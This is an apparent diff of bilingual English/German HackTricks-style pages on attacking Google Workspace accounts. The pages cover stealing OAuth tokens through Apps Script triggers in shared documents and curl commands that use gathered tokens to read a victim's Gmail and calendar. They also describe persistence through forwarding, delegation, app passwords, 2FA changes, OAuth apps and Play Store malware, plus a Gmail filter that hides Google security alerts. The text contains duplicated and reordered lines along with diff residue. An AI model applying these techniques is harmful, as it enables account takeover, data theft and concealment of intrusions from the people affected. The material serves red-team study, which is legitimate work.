Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
Sobald die App gelesen wurde, klicken Sie auf **⏰ Trigger**, um einen Trigger zu erstellen. Wählen Sie als **Funktion** zum Ausführen **`getToken`**, läuft bei Bereitstellung **`Head`**, wählen Sie als Ereignisquelle **`From spreadsheet`** und als Ereignistyp **`On open`** oder **`On edit`** (je nach Bedarf) und speichern Sie.
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
Beachten Sie, dass Sie die **Ausführungen der App-Skripte im Tab Ausführungen überprüfen** können, wenn Sie etwas debuggen möchten.
### Sharing
### Teilen
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
Um das **App-Skript** auszulösen, muss das Opfer mit **Editorzugriff** verbunden sein.
> [!TIP]
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
> Das **Token**, das zum Ausführen des **App-Skripts** verwendet wird, ist das des **Erstellers des Triggers**, auch wenn die Datei von anderen Benutzern als Editor geöffnet wird.
### Abusing Shared With Me documents
### Missbrauch von "Mit mir geteilt"-Dokumenten
> [!CAUTION]
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
> Wenn jemand **ein Dokument mit App-Skripten und einem Trigger unter Verwendung des Heads** des App-Skripts (nicht einer festen Bereitstellung) mit Ihnen geteilt hat, können Sie den App-Skript-Code ändern (zum Beispiel die Funktionen zum Stehlen des Tokens hinzufügen), darauf zugreifen, und das **App-Skript wird mit den Berechtigungen des Benutzers ausgeführt, der das Dokument mit Ihnen geteilt hat**! (Beachten Sie, dass das OAuth-Token des Eigentümers die Zugriffsbereiche hat, die beim Erstellen des Triggers angegeben wurden).
>
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
> Eine **Benachrichtigung wird an den Ersteller des Skripts gesendet, die anzeigt, dass jemand das Skript geändert hat** (Was ist mit der Verwendung von Gmail-Berechtigungen, um einen Filter zu erstellen, um die Warnung zu verhindern?)
> [!TIP]
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
> Wenn ein **Angreifer die Bereiche des App-Skripts ändert**, werden die Updates **nicht auf das Dokument angewendet**, bis ein **neuer Trigger** mit den Änderungen erstellt wird. Daher kann ein Angreifer das Token des Eigentümers nicht mit mehr Bereichen stehlen als dem, den er im Trigger festgelegt hat, den er erstellt hat.
### Copying instead of sharing
### Kopieren statt Teilen
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
Wenn Sie einen Link zum Teilen eines Dokuments erstellen, wird ein Link erstellt, der diesem ähnlich ist: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
Wenn Sie das Ende **"/edit"** durch **"/copy"** ändern, wird Google Sie fragen, ob Sie **eine Kopie des Dokuments erstellen möchten:**
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
Wenn der Benutzer es kopiert und darauf zugreift, werden sowohl die **Inhalte des Dokuments als auch die App-Skripte kopiert**, jedoch die **Trigger nicht**, daher wird **nichts ausgeführt**.
### Sharing as Web Application
### Teilen als Webanwendung
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
Beachten Sie, dass es auch möglich ist, ein App-Skript als Webanwendung zu **teilen** (im Editor des App-Skripts, als Webanwendung bereitstellen), aber eine Warnung wie diese wird erscheinen:
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
Followed by the **typical OAuth prompt asking** for the needed permissions.
Gefolgt von dem **typischen OAuth-Prompt, das** nach den benötigten Berechtigungen fragt.
### Testing
You can test a gathered token to list emails with:
### Testen
Sie können ein gesammeltes Token testen, um E-Mails aufzulisten mit:
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
```
List calendar of the user:
Liste des Kalenders des Benutzers:
```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
```
## App Script als Persistenz
## App Script as Persistence
Eine Option für Persistenz wäre es, **ein Dokument zu erstellen und einen Trigger für die getToken**-Funktion hinzuzufügen und das Dokument mit dem Angreifer zu teilen, sodass der Angreifer jedes Mal, wenn er die Datei öffnet, **das Token des Opfers exfiltriert.**
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
Es ist auch möglich, ein App Script zu erstellen und es alle X Zeit (wie jede Minute, Stunde, Tag...) auszulösen. Ein Angreifer, der **kompromittierte Anmeldeinformationen oder eine Sitzung eines Opfers hat, könnte einen zeitgesteuerten App Script-Trigger einrichten und jeden Tag ein sehr privilegiertes OAuth-Token leaken**:
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
Erstellen Sie einfach ein App Script, gehen Sie zu Trigger, klicken Sie auf Trigger hinzufügen und wählen Sie als Ereignisquelle Zeitgesteuert und wählen Sie die Optionen, die am besten zu Ihnen passen:
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
> [!CAUTION]
> This will create a security alert email and a push message to your mobile alerting about this.
> Dies wird eine Sicherheitswarnungs-E-Mail und eine Push-Nachricht auf Ihr Mobilgerät senden, die darüber informiert.
### Shared Document Unverified Prompt Bypass
### Umgehung der unbestätigten Eingabeaufforderung für freigegebene Dokumente
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
Darüber hinaus, wenn jemand ein Dokument mit **Bearbeitungszugriff** mit Ihnen **geteilt** hat, können Sie **App Scripts im Dokument generieren** und der **EIGENTÜMER (Ersteller) des Dokuments wird der Eigentümer des App Scripts** sein.
> [!WARNING]
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
> Das bedeutet, dass der **Ersteller des Dokuments als Ersteller jedes App Scripts** erscheint, das jemand mit Bearbeitungszugriff darin erstellt.
>
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
> Das bedeutet auch, dass das **App Script vom Workspace-Umfeld** des Erstellers des Dokuments vertraut wird.
> [!CAUTION]
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
> Das bedeutet auch, dass wenn ein **App Script bereits existierte** und Personen **Zugriff gewährt haben**, jeder mit **Bearbeiter**-Berechtigung auf dem Dokument es **modifizieren und diesen Zugriff missbrauchen kann.**\
> Um dies auszunutzen, benötigen Sie auch Personen, die das App Script auslösen. Ein praktischer Trick ist es, das **Script als Webanwendung zu veröffentlichen**. Wenn die **Personen**, die bereits **Zugriff** auf das App Script gewährt haben, die Webseite aufrufen, werden sie **das App Script auslösen** (das funktioniert auch mit `<img>`-Tags).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,184 +3,180 @@
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
> All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account.
> Alle in diesem Abschnitt genannten Aktionen, die Einstellungen ändern, generieren einen **Sicherheitsalarm an die E-Mail und sogar eine Push-Benachrichtigung an jedes mit dem Konto synchronisierte Mobilgerät**.
## **Persistence in Gmail**
## **Persistenz in Gmail**
- You can create **filters to hide** security notifications from Google
- `from: (no-reply@accounts.google.com) "Security Alert"`
- This will prevent security emails to reach the email (but won't prevent push notifications to the mobile)
- Sie können **Filter erstellen, um** Sicherheitsbenachrichtigungen von Google zu verbergen.
- `from: (no-reply@accounts.google.com) "Security Alert"`
- Dies verhindert, dass Sicherheits-E-Mails die E-Mail erreichen (verhindert jedoch nicht, dass Push-Benachrichtigungen auf das Mobilgerät gesendet werden).
<details>
<summary>Steps to create a gmail filter</summary>
<summary>Schritte zum Erstellen eines Gmail-Filters</summary>
(Instructions from [**here**](https://support.google.com/mail/answer/6579))
(Anleitungen von [**hier**](https://support.google.com/mail/answer/6579))
1. Open [Gmail](https://mail.google.com/).
2. In the search box at the top, click Show search options ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) .
3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**.
4. At the bottom of the search window, click **Create filter**.
5. Choose what youd like the filter to do.
6. Click **Create filter**.
1. Öffnen Sie [Gmail](https://mail.google.com/).
2. Klicken Sie im Suchfeld oben auf Suchoptionen anzeigen ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36).
3. Geben Sie Ihre Suchkriterien ein. Wenn Sie überprüfen möchten, ob Ihre Suche korrekt funktioniert hat, sehen Sie sich an, welche E-Mails angezeigt werden, indem Sie auf **Suchen** klicken.
4. Klicken Sie unten im Suchfenster auf **Filter erstellen**.
5. Wählen Sie aus, was der Filter tun soll.
6. Klicken Sie auf **Filter erstellen**.
Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
Überprüfen Sie Ihren aktuellen Filter (um ihn zu löschen) unter [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
</details>
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
- Create **forwarding address to forward sensitive information** (or everything) - You need manual access.
- Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
- The receiving address will need to confirm this
- Then, set to forward all the emails while keeping a copy (remember to click on save changes):
- Erstellen Sie **eine Weiterleitungsadresse, um sensible Informationen** (oder alles) weiterzuleiten - Sie benötigen manuellen Zugriff.
- Erstellen Sie eine Weiterleitungsadresse unter [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
- Die empfangende Adresse muss dies bestätigen.
- Stellen Sie dann ein, dass alle E-Mails weitergeleitet werden, während eine Kopie behalten wird (denken Sie daran, auf Änderungen speichern zu klicken):
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
It's also possible create filters and forward only specific emails to the other email address.
Es ist auch möglich, Filter zu erstellen und nur bestimmte E-Mails an die andere E-Mail-Adresse weiterzuleiten.
## App passwords
## App-Passwörter
If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.**
Wenn Sie es geschafft haben, eine **Google-Benutzersitzung zu kompromittieren** und der Benutzer **2FA** hatte, können Sie ein [**App-Passwort**](https://support.google.com/accounts/answer/185833?hl=en) **generieren** (folgen Sie dem Link, um die Schritte zu sehen). Beachten Sie, dass **App-Passwörter von Google nicht mehr empfohlen werden und widerrufen werden**, wenn der Benutzer **sein Google-Konto-Passwort ändert.**
**Even if you have an open session you will need to know the password of the user to create an app password.**
**Selbst wenn Sie eine offene Sitzung haben, müssen Sie das Passwort des Benutzers kennen, um ein App-Passwort zu erstellen.**
> [!NOTE]
> App passwords can **only be used with accounts that have 2-Step Verification** turned on.
> App-Passwörter können **nur mit Konten verwendet werden, die die 2-Schritt-Verifizierung** aktiviert haben.
## Change 2-FA and similar
## 2-FA ändern und ähnliches
It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
**It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).**
Es ist auch möglich, **2-FA auszuschalten oder ein neues Gerät** (oder eine Telefonnummer) auf dieser Seite [**https://myaccount.google.com/security**](https://myaccount.google.com/security)** zu registrieren.**\
**Es ist auch möglich, Passkeys zu generieren (Ihr eigenes Gerät hinzuzufügen), das Passwort zu ändern, Mobilnummern für Verifizierungstelefone und Wiederherstellung hinzuzufügen, die Wiederherstellungs-E-Mail zu ändern und die Sicherheitsfragen zu ändern).**
> [!CAUTION]
> To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here.
> Um **zu verhindern, dass Sicherheits-Push-Benachrichtigungen** das Telefon des Benutzers erreichen, könnten Sie **sein Smartphone abmelden** (obwohl das seltsam wäre), da Sie ihn von hier aus nicht erneut anmelden können.
>
> It's also possible to **locate the device.**
> Es ist auch möglich, **das Gerät zu lokalisieren.**
**Even if you have an open session you will need to know the password of the user to change these settings.**
**Selbst wenn Sie eine offene Sitzung haben, müssen Sie das Passwort des Benutzers kennen, um diese Einstellungen zu ändern.**
## Persistence via OAuth Apps
## Persistenz über OAuth-Apps
If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.**\
It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**.
Wenn Sie **das Konto eines Benutzers kompromittiert haben**, können Sie einfach **akzeptieren**, alle möglichen Berechtigungen für eine **OAuth-App** zu gewähren. Das einzige Problem ist, dass Workspace so konfiguriert werden kann, dass **nicht überprüfte externe und/oder interne OAuth-Apps nicht erlaubt sind.**\
Es ist ziemlich üblich, dass Workspace-Organisationen externen OAuth-Apps standardmäßig nicht vertrauen, aber internen schon, also wenn Sie **genug Berechtigungen haben, um eine neue OAuth-Anwendung** innerhalb der Organisation zu generieren und externe Apps nicht erlaubt sind, generieren Sie sie und **verwenden Sie diese neue interne OAuth-App, um Persistenz aufrechtzuerhalten**.
Check the following page for more information about OAuth Apps:
Überprüfen Sie die folgende Seite für weitere Informationen zu OAuth-Apps:
{{#ref}}
gws-google-platforms-phishing/
{{#endref}}
## Persistence via delegation
## Persistenz über Delegation
You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled).
Sie können einfach das **Konto an ein anderes Konto** delegieren, das vom Angreifer kontrolliert wird (wenn Sie dazu berechtigt sind). In Workspace **Organisationen** muss diese Option **aktiviert** sein. Sie kann für alle deaktiviert, für einige Benutzer/Gruppen aktiviert oder für alle aktiviert werden (in der Regel ist sie nur für einige Benutzer/Gruppen aktiviert oder vollständig deaktiviert).
<details>
<summary>If you are a Workspace admin check this to enable the feature</summary>
<summary>Wenn Sie ein Workspace-Administrator sind, überprüfen Sie dies, um die Funktion zu aktivieren</summary>
(Information [copied form the docs](https://support.google.com/a/answer/7223765))
(Informationen [aus den Dokumenten kopiert](https://support.google.com/a/answer/7223765))
As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
Als Administrator Ihrer Organisation (zum Beispiel Ihrer Arbeit oder Schule) steuern Sie, ob Benutzer den Zugriff auf ihr Gmail-Konto delegieren können. Sie können allen die Option geben, ihr Konto zu delegieren. Oder nur bestimmten Personen in bestimmten Abteilungen erlauben, die Delegation einzurichten. Zum Beispiel können Sie:
- Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
- Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
- Einen Verwaltungsassistenten als Delegierten für Ihr Gmail-Konto hinzufügen, damit er E-Mails in Ihrem Namen lesen und senden kann.
- Eine Gruppe, wie Ihre Verkaufsabteilung, in Gruppen als Delegierten hinzufügen, um allen Zugriff auf ein Gmail-Konto zu geben.
Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
Benutzer können den Zugriff nur auf einen anderen Benutzer in derselben Organisation delegieren, unabhängig von ihrer Domain oder ihrer organisatorischen Einheit.
#### Delegation limits & restrictions
#### Delegationsgrenzen & -einschränkungen
- **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
- With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
- Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
- A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
- Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
- **Benutzern erlauben, den Zugriff auf ihr Postfach an eine Google-Gruppe zu gewähren**: Um diese Option zu verwenden, muss sie für die OU des delegierten Kontos und für die OU jedes Gruppenmitglieds aktiviert sein. Gruppenmitglieder, die zu einer OU gehören, für die diese Option nicht aktiviert ist, können nicht auf das delegierte Konto zugreifen.
- Bei typischer Nutzung können 40 delegierte Benutzer gleichzeitig auf ein Gmail-Konto zugreifen. Überdurchschnittliche Nutzung durch einen oder mehrere Delegierte kann diese Zahl verringern.
- Automatisierte Prozesse, die häufig auf Gmail zugreifen, können ebenfalls die Anzahl der Delegierten verringern, die gleichzeitig auf ein Konto zugreifen können. Diese Prozesse umfassen APIs oder Browsererweiterungen, die häufig auf Gmail zugreifen.
- Ein einzelnes Gmail-Konto unterstützt bis zu 1.000 eindeutige Delegierte. Eine Gruppe in Gruppen zählt als ein Delegierter für das Limit.
- Die Delegation erhöht nicht die Limits für ein Gmail-Konto. Gmail-Konten mit delegierten Benutzern haben die standardmäßigen Gmail-Kontolimits und -richtlinien. Für Details besuchen Sie [Gmail-Limits und -richtlinien](https://support.google.com/a/topic/28609).
#### Step 1: Turn on Gmail delegation for your users
#### Schritt 1: Aktivieren Sie die Gmail-Delegation für Ihre Benutzer
**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
**Bevor Sie beginnen:** Um die Einstellung für bestimmte Benutzer anzuwenden, setzen Sie deren Konten in eine [organisatorische Einheit](https://support.google.com/a/topic/1227584).
1. [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
1. [Melden Sie sich an](https://admin.google.com/) bei Ihrer [Google Admin-Konsole](https://support.google.com/a/answer/182076).
Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
Melden Sie sich mit einem _Administrator-Konto_ an, nicht mit Ihrem aktuellen Konto CarlosPolop@gmail.com
2. In the Admin console, go to Menu ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **Apps**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**User settings**.
3. To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584).
4. Click **Mail delegation**.
5. Check the **Let users delegate access to their mailbox to other users in the domain** box.
6. (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box.
7. Select an option for the default sender information that's included in messages sent by delegates:
- **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate.
- **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included.
8. (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box.
9. Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings.
10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 39.
2. Gehen Sie in der Admin-Konsole zu Menü ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![und dann](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **Apps**![und dann](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![und dann](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![und dann](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Benutzereinstellungen**.
3. Um die Einstellung für alle anzuwenden, lassen Sie die oberste organisatorische Einheit ausgewählt. Andernfalls wählen Sie eine untergeordnete [organisatorische Einheit](https://support.google.com/a/topic/1227584).
4. Klicken Sie auf **Mail-Delegation**.
5. Aktivieren Sie das Kontrollkästchen **Benutzern erlauben, den Zugriff auf ihr Postfach an andere Benutzer in der Domain zu delegieren**.
6. (Optional) Um Benutzern zu erlauben, anzugeben, welche Absenderinformationen in delegierten Nachrichten enthalten sind, die von ihrem Konto gesendet werden, aktivieren Sie das Kontrollkästchen **Benutzern erlauben, diese Einstellung anzupassen**.
7. Wählen Sie eine Option für die standardmäßigen Absenderinformationen, die in von Delegierten gesendeten Nachrichten enthalten sind:
- **Zeigen Sie den Kontoinhaber und den Delegierten an, der die E-Mail gesendet hat**—Nachrichten enthalten die E-Mail-Adressen des Gmail-Kontoinhabers und des Delegierten.
- **Zeigen Sie nur den Kontoinhaber an**—Nachrichten enthalten nur die E-Mail-Adresse des Gmail-Kontoinhabers. Die E-Mail-Adresse des Delegierten ist nicht enthalten.
8. (Optional) Um Benutzern zu erlauben, eine Gruppe in Gruppen als Delegierten hinzuzufügen, aktivieren Sie das Kontrollkästchen **Benutzern erlauben, den Zugriff auf ihr Postfach an eine Google-Gruppe zu gewähren**.
9. Klicken Sie auf **Speichern**. Wenn Sie eine untergeordnete organisatorische Einheit konfiguriert haben, können Sie möglicherweise die Einstellungen einer übergeordneten organisatorischen Einheit **übernehmen** oder **überschreiben**.
10. (Optional) Um die Gmail-Delegation für andere organisatorische Einheiten zu aktivieren, wiederholen Sie die Schritte 39.
Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107)
Änderungen können bis zu 24 Stunden dauern, erfolgen jedoch normalerweise schneller. [Erfahren Sie mehr](https://support.google.com/a/answer/7514107)
#### Step 2: Have users set up delegates for their accounts
#### Schritt 2: Lassen Sie Benutzer Delegierte für ihre Konten einrichten
After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user.
Nachdem Sie die Delegation aktiviert haben, gehen Ihre Benutzer zu ihren Gmail-Einstellungen, um Delegierte zuzuweisen. Delegierte können dann im Namen des Benutzers Nachrichten lesen, senden und empfangen.
For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350).
Für Details leiten Sie die Benutzer zu [Delegieren und zusammenarbeiten bei E-Mails](https://support.google.com/a/users/answer/138350).
</details>
<details>
<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
<summary>Von einem regulären Benutzer, überprüfen Sie hier die Anweisungen, um zu versuchen, Ihren Zugriff zu delegieren</summary>
(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
(Info kopiert [**aus den Dokumenten**](https://support.google.com/mail/answer/138350))
You can add up to 10 delegates.
Sie können bis zu 10 Delegierte hinzufügen.
If you're using Gmail through your work, school, or other organization:
Wenn Sie Gmail über Ihre Arbeit, Schule oder andere Organisation verwenden:
- You can add up to 1000 delegates within your organization.
- With typical use, 40 delegates can access a Gmail account at the same time.
- If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time.
- Sie können bis zu 1000 Delegierte innerhalb Ihrer Organisation hinzufügen.
- Bei typischer Nutzung können 40 Delegierte gleichzeitig auf ein Gmail-Konto zugreifen.
- Wenn Sie automatisierte Prozesse verwenden, wie APIs oder Browsererweiterungen, können einige Delegierte gleichzeitig auf ein Gmail-Konto zugreifen.
1. On your computer, open [Gmail](https://mail.google.com/). You can't add delegates from the Gmail app.
2. In the top right, click Settings ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![and then](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **See all settings**.
3. Click the **Accounts and Import** or **Accounts** tab.
4. In the "Grant access to your account" section, click **Add another account**. If youre using Gmail through your work or school, your organization may restrict email delegation. If you dont see this setting, contact your admin.
- If you don't see Grant access to your account, then it's restricted.
5. Enter the email address of the person you want to add. If youre using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access.\
\
**Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in.
1. Öffnen Sie auf Ihrem Computer [Gmail](https://mail.google.com/). Sie können Delegierte nicht über die Gmail-App hinzufügen.
2. Klicken Sie oben rechts auf Einstellungen ![Einstellungen](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![und dann](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **Alle Einstellungen anzeigen**.
3. Klicken Sie auf die Registerkarte **Konten und Import** oder **Konten**.
4. Klicken Sie im Abschnitt "Zugriff auf Ihr Konto gewähren" auf **Ein weiteres Konto hinzufügen**. Wenn Sie Gmail über Ihre Arbeit oder Schule verwenden, kann Ihre Organisation die E-Mail-Delegation einschränken. Wenn Sie diese Einstellung nicht sehen, wenden Sie sich an Ihren Administrator.
- Wenn Sie "Zugriff auf Ihr Konto gewähren" nicht sehen, ist es eingeschränkt.
5. Geben Sie die E-Mail-Adresse der Person ein, die Sie hinzufügen möchten. Wenn Sie Gmail über Ihre Arbeit, Schule oder andere Organisation verwenden und Ihr Administrator dies erlaubt, können Sie die E-Mail-Adresse einer Gruppe eingeben. Diese Gruppe muss dieselbe Domain wie Ihre Organisation haben. Externe Mitglieder der Gruppe wird der Zugriff auf die Delegation verweigert.\
\
**Wichtig:** Wenn das Konto, das Sie delegieren, ein neues Konto ist oder das Passwort zurückgesetzt wurde, muss der Administrator die Anforderung deaktivieren, das Passwort beim ersten Anmelden zu ändern.
- [Learn how an Admin can create a user](https://support.google.com/a/answer/33310).
- [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319).
- [Erfahren Sie, wie ein Administrator einen Benutzer erstellen kann](https://support.google.com/a/answer/33310).
- [Erfahren Sie, wie ein Administrator Passwörter zurücksetzen kann](https://support.google.com/a/answer/33319).
6\. Click **Next Step** ![and then](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **Send email to grant access**.
6. Klicken Sie auf **Nächster Schritt** ![und dann](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **E-Mail senden, um Zugriff zu gewähren**.
The person you added will get an email asking them to confirm. The invitation expires after a week.
Die Person, die Sie hinzugefügt haben, erhält eine E-Mail, in der sie um Bestätigung gebeten wird. Die Einladung läuft nach einer Woche ab.
If you added a group, all group members will become delegates without having to confirm.
Wenn Sie eine Gruppe hinzugefügt haben, werden alle Gruppenmitglieder ohne Bestätigung Delegierte.
Note: It may take up to 24 hours for the delegation to start taking effect.
Hinweis: Es kann bis zu 24 Stunden dauern, bis die Delegation wirksam wird.
</details>
## Persistence via Android App
## Persistenz über die Android-App
If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone.
